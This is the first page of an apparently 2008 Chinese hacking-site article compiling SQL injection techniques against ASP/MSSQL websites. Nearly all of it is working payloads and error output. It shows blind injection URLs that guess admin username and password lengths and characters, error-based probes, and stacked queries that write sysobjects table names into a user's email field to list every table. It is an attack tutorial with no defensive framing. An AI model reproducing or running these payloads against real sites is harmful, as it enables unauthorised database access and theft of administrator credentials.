安全中国首页 > 文章中心 > 综合注入文章
 
Sql脚本注射技巧整理大全
更新时间:2008-1-15 0:42:02
责任编辑:池天
热 点:
猜表过程---------------------------------------------> 
猜测用户名范围: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(name)=猜测位数)and ’1 
猜测用户密码范围: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(pwd)=猜测位数)and ’1 
详细猜测: 
用户名依次推算: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))>97) and ’1 
继续提交: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))=100) and ’1 
密码位推算 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(pwd,1,1))>97) and ’1 
------------------------------------------------------------ 
常见测试方法: 
www.target.com/show.asp?id=1;--(;--在sql语句中表注释) 
www.target.com/show.asp?id=1 or id in (select id from admin) 
如果看到管理员admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看: 
SiteName:good 
SiteUrl:good’ and 7=(select id from admin where len(password)=5) and ’1 

这样sql语句就变成了: 
select * from FriendSite where SiteName=good and SiteUrl=good’ and 7=(select id from admin where len(password)=5) and ’1’ 

---------------------------------------------------- 
第一步: 
在输入用户名处输入单引号,显示 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’ 
字符串 ’’’ 之前有未闭合的引号。 
/user/wantpws.asp,行63 
说明没有过滤单引号且数据库是MSSQL. 

第二步: 
输入a’;use master;-- 
显示 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e21’ 
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 
/user/wantpws.asp,行63 
这样说明没有权限了。 
第三步: 
输入:a’ or name like ’fff%’;-- 
第四步: 
在用户名处输入 
ffff’ and 1<>(select count(email) from [user]);-- 
显示: 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e37’ 
对象名 ’user’ 无效。 
/user/wantpws.asp,行96 
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列. 
(东方飘云的一个办法是输入a’ having 1=1-- 
一般返回如下也就可以直接得到表名和一个字段名了 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’ 
列 ’users.ID’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 
/user/wantpws.asp,行63 


现在我们知道了ffff用户的密码是111111. 
下面通过语句得到数据库中的所有表名和字段名。 
第五步: 
输入: 
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;-- 
说明: 
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 
ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;-- 
同上可知id是:581577110 
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了 
象下面这样就可以得到第二个表的名字了 
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;-- 
ad 581577110 
users 597577167 
buy 613577224 
car 629577281 
learning 645577338 
log 661577395 
movie 677577452 
movieurl 693577509 
password 709577566 
type 725577623 
talk 
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的 

1 2 下一页

 
相关文章
48小时热门文章
 
一日一软件
48小时热门动画